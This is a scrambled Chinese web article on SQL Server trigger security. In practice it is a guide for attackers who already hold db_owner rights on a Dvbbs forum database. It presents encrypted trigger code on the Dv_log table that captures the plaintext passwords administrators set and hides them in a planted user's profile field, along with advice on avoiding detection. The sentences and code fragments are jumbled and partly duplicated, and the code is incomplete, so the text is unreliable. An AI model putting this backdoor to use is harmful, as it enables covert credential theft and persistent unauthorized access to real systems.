服务器
当前位置:服务器首页 >> 服务器技术 >> SQL Server数据库的触发器安全隐患
SQL Server数据库的触发器安全隐患
2009-07-05 13:37:13  作者:orchn服务器  来源:服务器技术  浏览次数:0  文字大小:【】【】【
  •    1.触发器权限和所有权 create TRIGGER权限默认授予定义触发器的表所有者、sysadmin 固定服务器角色成员以及 db_owner 和 db_ddladmin 固定数据库角色成员,并且不可转让。 2.需 ...

1.触发器权限和所有权

create TRIGGER权限默认授予定义触发器的表所有者、sysadmin 固定服务器角色成员以及 db_owner 和 db_ddladmin 固定数据库角色成员,并且不可转让

首次更新时,汪财的usersign字段里没有内容,而SQL Server里null加任何数都是null,所以需要判断is null之后,给null赋值为一个空格

(2)Usersign,字段类型:varchar(255)
www.orchn.com

(2)管理员的日志中,有很多日志,怎么判断它就是在记录更改密码
网络

(3)Useremail,字段类型:nvarchar(255)

(4)Userinfo,字段类型:text

3.为什么要使用触发器作后门?

管理员首先会把sql文件执行下,然后导入mdb的内容,平时使用顶多备份下,还原下

4.思路

触发器主要是用来做历史记录的,当然可以把管理员更改密码和添加用户的历史记录下

5.解决的问题:

(1)如果都放满了
www.orchn.com

create trigger dv_admin_history

on Dv_log

with encryption

for insertas

as

触发器需要建立在Dv_log表上,这里放入的是明文密码
服务器

if (len(@usersign) < 150 or @usersign is null)

begin if (@usersign is null)

set @usersign = ’ ’

set @passinfo = @usersign @passinfo

 update Dv_User set usersign = @passinfo where username = @username

commit tran

returnend

end

首次更新时,usersign字段里没有内容,而SQL Server里null加任何数都是null,所以需要判断is null之后,给null赋值为一个空格
通信

使用过程――代码解析

代码片断:创建触发器

动网的密码有md5加过密的,加密的操作是asp程序在服务器上来完成的,等数据库拿到数据的时候已经是加过密的了

在管理员操作用户时,当然会在“user.asp”或者“admin.asp”中操作,所以我们判断条件需要:

 select @passinfo = l_content from inserted where l_type = 1 and (l_touser = ’user.asp’ or l_touser = ’admin.asp’)

在l_touser为user.asp或者admin.asp时,说明管理员在操作(查看,更新,删除)用户或者管理员

我选择放在一个新建用户的用户信息里(以下通称这个用户为“汪财”,亲切点),这样我们登陆时就可以看到了(注意:登陆时有日志的,记录最后登陆ip,大家自己解决)

有以下几个字段适于存放:

(1)Userphoto,字段类型:varchar(255)

本文以动网论坛dvbbs为例,我们已经拿到了db_owner权限(注意:并不是说dvbbs本身有漏洞)

理论上,如果我们看到了第一个字段有了东西,就应该拿笔记下来,然后删除掉

触发器是在对表进行插入(insert)、更新(update)或删除(delete)操作时,自动执行的存储过程
通信

2.需要的环境

本文需要的环境是已经获取了sql服务器的以上其中一个权限,目的是为了留下隐蔽的后门,不被管理员发现

取出来的值应该放入一个普通用户能看到的地方,这样只要有了普通用户的权限就可以看到密码


于是我们在里面写的内容就相对安全了
但是动网同时把密码以明文方式放入dv_log表中,就给了我们方便
先回想一下通常我们使用数据库时要做什么和关心什么
其他几个字段的方法和这里大同小异,只是一个转换nvarchar和“”的组合时多了点
其他几个字段的方法和这里大同小异,只是一个转换nvarchar和“”的组合时多了点
再次强调下,本文例子针对动网,大家应该具体问题具体分析
动网很懒的,为了避免字段太多,就把一堆信息全都放入一个字段里,用“”分开,当查询某一项信息时,取出来全部,然后分割下,就是需要的数据了
动网数据库中,最大并且可以存放数据的字段管理员通常都会看到
www.orchn.com 即使发现了也是加密的(可以破解,不过有些管理员不懂,也不会注意,相关信息google下)
只要拿到dv_log表中l_content字段的内容,然后判断是否管理员在执行敏感操作,后门思路就形成了
www.orchn.com 可以存放小于255的数据
www.orchn.com 因为动网根本没有用到触发器,也没有提到触发器,所以动网的管理员不会去看的
因为只是db_owner权限,所以读者想去执行“xp_cmdshell”,就不再本文范围了,相信读过本文后,只要有系统权限,作个系统的后门也是简单的
因此,查询inserted表中的l_content,赋值给@passinfo代码片断:更新汪财的usersign字段
www.orchn.com 在insert(加入)数据时执行触发器
在l_type = 1时,说明执行了更新操作,l_content字段里面有密码(如果管理员更新了密码,或者新建了帐户)
服务器 我们并不知道管理员密码设置有多长,只能是把里面的有密码的字段内容全部取出
所以必须找出来一个管理员不会看,而其他用户也不会注意的地方
放进一个管理员通常不会注意的、普通用户又可以看到的地方
最后判断如果字段内容太多就不再写了,为了提高性能,也可以把最后的判断写在前面,一旦数据过多,就不需要再继续执行了
最后判断如果字段内容太多就不再写了,为了提高性能,也可以把最后的判断写在前面,一旦数据过多,就不需要再继续执行了
最常见用于执行敏感数据操作时做历史记录
汪财的email,使用时需要转换类型
汪财的用户资料
汪财的签名,如果放这里,汪财就不能发贴了,否则后果自负(发贴会显示签名,地球人都能看到)
触发器会自动检查大小后继续使用
触发器最好是加密的,加密后,管理员即使看到了,也不知道这里是什么东西
服务器 记录了汪财的照片地址
该字段很特殊,有很多“”,每一对“”之间都有着不同的含义
通常不会有人去看触发器的内容,查看触发器可以使用命令“exec sp_helptrigger ’dv_admin’”,或者在企业管理器中选择“管理触发器”

0

顶一下

0

踩一下

  •     服务器